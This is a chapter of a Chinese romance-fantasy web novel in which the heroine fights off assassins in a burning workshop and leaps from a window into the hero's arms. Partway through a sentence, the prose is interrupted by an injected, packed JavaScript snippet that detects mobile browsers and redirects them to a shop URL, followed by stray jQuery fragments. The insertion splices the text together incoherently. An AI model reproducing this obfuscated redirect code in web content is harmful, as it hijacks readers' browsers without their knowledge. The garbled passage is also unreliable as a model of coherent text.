93. 第93章:高空旋抱风牵袖,眼底……

作品:《涉江采茯苓

    火势并没有到不可挽救的地步。


    青黛登上四楼,一到楼梯口,便看到了玉轴。


    虽听见劈里啪啦的声音。


    但这木结构小楼,可是当归哥哥督建的。


    应该很坚固,一时半会问题不大。


    况且,青黛随走随催动活泉灭火。


    楼梯区域的火已渐小,很快就要熄灭。


    正在这时,东向最后一间的房门忽然开了。


    青黛急切地收起活泉水流,在烟雾中,瞧见里面冲出一名黑衣男子。


    门一开,通亮的火光映照下,房间内一地的狼藉,化为黑影子映照在门板上。


    可见这名黑衣男子刚才是摸索着什么,瞧见青黛,似乎明白了什么,“你刚才手上的是什么?”


    青黛顿时警醒起来,随时备战,“你是谁?谁拍你来的?”


    “杀了她!快枪她的玉轴!还有玉镯!水……在镯子里!”刚才乳母昏倒的房间门口,忽然伸出来一只手,那人急急地嘶喊着。


    紧接着,爬出半个人身,正是刚才袭击自己的那名男子,他已扯下蒙面的黑布。


    撑着身体,匍匐爬到门口,对着和青黛过招的黑衣人嚷道。


    是她!法翠色褙子的那名女子!之前在工坊里,借着擦拭瓷器偷听的那人,被青黛赶走的。


    那人本就有些男子的阴柔声音,被自己赶出去时青黛心里一阵膈应。


    竟没想到是女扮男装,杀了个回马枪。


    青黛本来还想,若他们供出主使,饶了这两个人的狗命。


    没想到他们反而是想要自己的命。


    只好狭路相逢勇者胜了。


    “识相的!放下玉轴,我们哥俩饶你不死!”黑衣人刀光已冲着她面门劈来。


    青黛闪身躲开,心想,刀刀都向着她致命的咽喉之处砍下,这人竟然还说是饶她?


    “哥,别啰嗦,直接杀了她!”趴在地上支撑着身子、半天没站起来的阴柔男子嘶吼着,愤恨地瞪着青黛,眼中冒了火。


    青黛旋身避开黑衣人的刀,左手死死攥住玉轴,右手随机抄起什么家伙就砸向那人。


    直到碰到木架,抄起了瓷器,狠狠砸向那人的太阳穴,才一招致胜。


    那人闷哼倒地,口吐鲜血。


    阴柔男子扔过来的擀面杖直劈她手腕,青黛转腕挡开,擀面杖回旋反而砸中他的膝盖。


    他刚爬起来,又重重跌倒在地。


    青黛喘着粗气,摸了摸玉轴,完好无损。


    不觉一阵虚脱,后背的冷汗早浸透了布衫。


    趁着对方还没死,得问清楚这是何人所为。


    青黛对着黑衣人肋旁,补了一刀,拎着他的脖领子问道,“谁派你们来的?说,我饶你兄弟不死,他曾是我工坊的学员,我网开一面。”


    “哼……”黑衣人本来视死如归的脸上,浮现起一丝错愕,他能舍弃自己的性命,却不能慷骨肉血亲之慨,“你说话算话?”


    “你告诉我,我现在就帮他治病,否则他便是一辈子的公公了!只有我能救他!”青黛指尖的力度收紧了些。


    “逸……”话还没讲完,一只利箭封了他的喉咙。


    没出口的「安」字,在青黛心中已经补全了。


    赵逸安,炎亲王,竟然自己出手了!


    青黛挥刀挡开了另外两只射向阴柔男子的冷箭,将冷泉丸塞入了他的口中。


    “我能救你,但你必须告诉我实话!”


    “好,我告诉你。”阴柔男子呼吸突然变得急促,“是炎亲王,他需要你的解毒方……给他训练的军人吃,那些人……像怪兽一样凶猛……痴傻……求你救我……妹妹,她被关在……在芝兰园……”


    什么?芝兰园?


    那里不是皇家象园吗?


    怎么会被关在那里?!


    顾不得这许多,青黛攥紧玉轴转身,准备从楼梯下楼。


    指尖刚触到木质扶手,脚下楼梯便轰隆一声,毫无预兆地整片坠落。


    一条长长的火舌沿着楼梯的立柱,猝然窜了上来。


    青黛连连踉跄着后退。


    碎木裹挟着火星砸向楼下,连承重的木柱都晃得吱呀作响,粉尘簌簌落在她肩头。


    青黛忙抬手抹去眼睫上的木屑,指尖被烫得生疼。


    她扒着四楼栏杆往下看,脚下像极了一座火山口。


    门口处更是大火熊熊。


    原本好好的楼梯,此时早被烧得只剩焦黑的木骨。


    断裂的横梁堆起在一起,全部砸在一楼地面。


    溅起的火星引燃了散落的油纸和糕饼包装物碎屑。


    火团在碎木堆里滚来滚去,浓烟裹着赤红的焰苗往上冒,把下楼的路堵得严严实实。


    除非她直接飞下楼,否则没有路。


    而大门又堵了,出不去。


    身后的房梁突然咔嚓响了一声,几片燃烧的木片砸在脚边。


    她踉跄着后退,心里叹道不好,这下连退路都没了。


    楼下早已成了火海,柜台的木板烧得噼啪作响。


    几口铁锅下的热炭也全部燃了起来,火星溅到油布上。


    瞬间窜起半人高的火舌,沿着窗棱、纱帘着了起来。


    火舌无孔不入,攀爬向上,沿着灯架,几乎将这栋楼全部包裹上了火焰。


    顺着房檐的木椽往上缠,焦糊味混着浓烟翻涌上来,呛得她猛咳。


    视线里只剩滚滚黑烟裹着赤红的火焰。


    正顺着地板缝隙往她的脚下爬,仿佛下一秒就要吞了整座小楼。


    火势彻底失控,残存的楼梯早被烧得只剩焦黑的木架。


    整栋楼都在摇晃,头顶的瓦片时不时砸落。


    地板已经被烤的像热炭一般,靠近木架、纱帘的地面已然着了起来。


    她只好紧紧地将自己贴近墙壁,可身后的温度也像煎药锅一般烫人了。


    即使动用活泉灭火,现在也于事无补了。


    若没人见到她进入这栋小楼,她可以按动玉镯,释放泉水,借活泉空间悄悄脱身。


    可方才她将乳母送出大门时,不少主顾瞧见她进了楼。


    这会儿若从别处冒出来,满身水渍却毫发无伤,岂不是要被当成妖怪?


    哎!有办法了。


    她会些轻身功夫,若从窗子纵身一跃,未必不能安全落地。


    不如,先用活泉浸湿衣服。


    既能缓冲落地冲击,又能防衣物被火星引燃。


    青黛指尖抵住腕间玉镯,冰凉泉水瞬间从镯中漫出,浸透她的衣袍。


    她攥紧玉轴贴在胸前,很快全身湿哒哒的,就像刚才河里上来一样。


    青黛转身扑向窗边,伸手去推窗扇。


    忍着炙烤的热力,窗框却纹丝不动。


    或许是因为早被火烤得变形,木缝黏在一起。


    或许是锁被烤地变了形,总之怎么推都毫无效果。


    火舌已舔到窗棂,热浪灼得她脸颊发烫。


    甚至,需要保持合适的角度,才能防止发丝被点着。


    她急得往后缩了缩手,又咬牙攥起拳头,狠狠砸向窗扇中部。


    现在没时间讲究技术,还是用蛮力吧。


    咔嚓一声,随着锥心的疼痛蹿向她的心脏,木框终于裂开。


    飞溅的碎木片从她脸颊飞过,手腕传来尖锐的痛感,血珠瞬间渗了出来。


    她顾不上疼,又补了几拳砸开缺口。


    伸手哆哆嗦嗦地扯掉松动的木片,才勉强拆掉了窗扇。


    来不及多想,青黛一手将玉轴死死按在胸口,另一手攥住窗框边缘。


    必须现在跳。


    再不跳,她就要变成可燃物了。


    方才劈窗时划伤的手腕还在渗血,忽然闯进来的夏风更是扇动了身后的火焰。


    血珠混着衣上的水珠往下滴,她只觉得衣衫在拽着她,扯着她,又黏在身上烫她。


    头皮都像着了火。


    脚尖在滚烫的窗台上时,都要咬牙忍住才能不抬起来。


    算了!


    忍一忍,青黛要紧后槽牙


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17090745|178135||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,脚掌狠狠一垫,借着蛮力弹跳而起。


    衣摆甩下细碎的水珠,立刻化为烟气。


    她像一张蜷缩的弓般突然张开,从四楼窗口飞出。


    一阵清凉裹着全身,终于脱离了火海的桎梏。


    青黛轻盈一跃,发丝四散而开,她像片被雨打湿的绿叶子,在空中飘飘摇而下。


    “天啊!那是不是有人?”


    早在青黛拆掉窗扇,就有人窥见了异常。


    恰好赶上秦当归勒住马缰绳,跳下。


    人群的惊呼和虎子的报告就撞进秦当归的耳朵。


    嘈杂中,一阵不好的预感袭上心来。


    “小姐,她还在楼上没出来!”虎子尖叫着飞奔而来。


    “什么?”秦当归眉眼一凛,拨开围观的人。


    那时,工坊的火舌已舔到四楼窗沿,他不由心猛地一沉,脑袋嗡地一声,“定是在工作间里!没叫潜火队来吗?铺兵换防还是开小差了?唧筒怎么还没来?”


    青黛每一次进入自己的工作间,就像是会忘掉时间。


    突然间,众人头顶传来咔嚓的木裂声,不同于木梁的坠落声,更清脆细碎。


    工作间在东向!她下不来楼,说不定会……


    秦当归心里电光火石般闪烁着的念头,快到没法捕捉。


    但脑中瞬间闪过青黛的身影,让他如芒在背。


    秦当归怎不心急如焚,没办法不立刻行动。


    脚下早已不受控地往东向飞奔,腰间佩剑的剑穗子已飞起。


    秦当归刚冲到楼下,就见一道绿影从高空坠落。几乎是本能地纵身跃起,向着她的方向腾挪着脚步,双臂稳稳接住她的腰。


    那团重量在手臂沉沉而下的一刻,秦当归才觉着眼前的世界恢复了色彩。


    入手是浸透泉水的冰凉衣料,还沾着淡淡的焦糊味。


    “你来了?我就知道,我不会死!”


    “我来了!还好,没晚!”


    青黛抱紧玉轴,深深地望着秦当归。


    秦当归眸光从焦急难耐,变为一湖宁静秋水。


    失重感扯着心脏往下沉,当归猛地收紧双臂,紧紧圈着她的腰背。


    他借势旋身缓冲下坠的力道,衣袂翻飞间卷起一阵夏风。


    风裹住青黛的碎发,将她圈在柔光里。


    而身体往下坠的失重感,让青黛也脑子一片空白,只知道死死抱着他的脖颈。


    他低头时,正撞见她因惊吓而微张的眼。


    她仰头时,正瞧见他深情又笃定的眸。


    两人抱着从高空旋转坠落。


    风在耳边呼啸,一切景物成为虚像。


    世界,在他们双眼中,成为虚无。


    他们,在彼此眼中,成为全部。


    二人相对一笑,淡淡无语。


    甘草和虎子都急的团团转,忽瞧见当归和小姐缓缓而落。


    见二人平稳落地,立刻冲上来,关切地询问。


    “甘草,你立刻到各个店铺,检查火烛,我担心……”青黛脚一沾地,就急火火地嘱咐道。


    当归一脸心疼,“这事我来安排。虎子!设局火烧店铺的人怕是不会只对这里下手,你立刻去青记各个分铺查看,任何可疑人等全部拿下,等着我回来询问。”


    秦当归话音一落,青黛便抬起手臂,喊道,“乳母,乳……”


    随即昏了过去,整个人瘫软在秦当归的怀中。


    他立刻将人横着抱起来,林嬷嬷和刘嬷嬷姐妹也赶到了。


    只见披着一件灰色斗篷的苏娘子,目光慈蔼地望着青黛,又将目光定在秦当归的脸上。


    她翕动的嘴唇尚未开启,当归的乳母刘嬷嬷便蹒跚地疾走,扑在苏娘子脚下。


    她撕心裂肺地喊道,“大姑娘啊,你终于!终于醒了!哥儿,快来,快来见你的亲娘啊!”


    ***


    有道是:孤燕从空坠,惊雷破雾烟。旋身消险势,相拥定心田。


    (创作于2025/10/18,万福泉源于晋江文学城首发)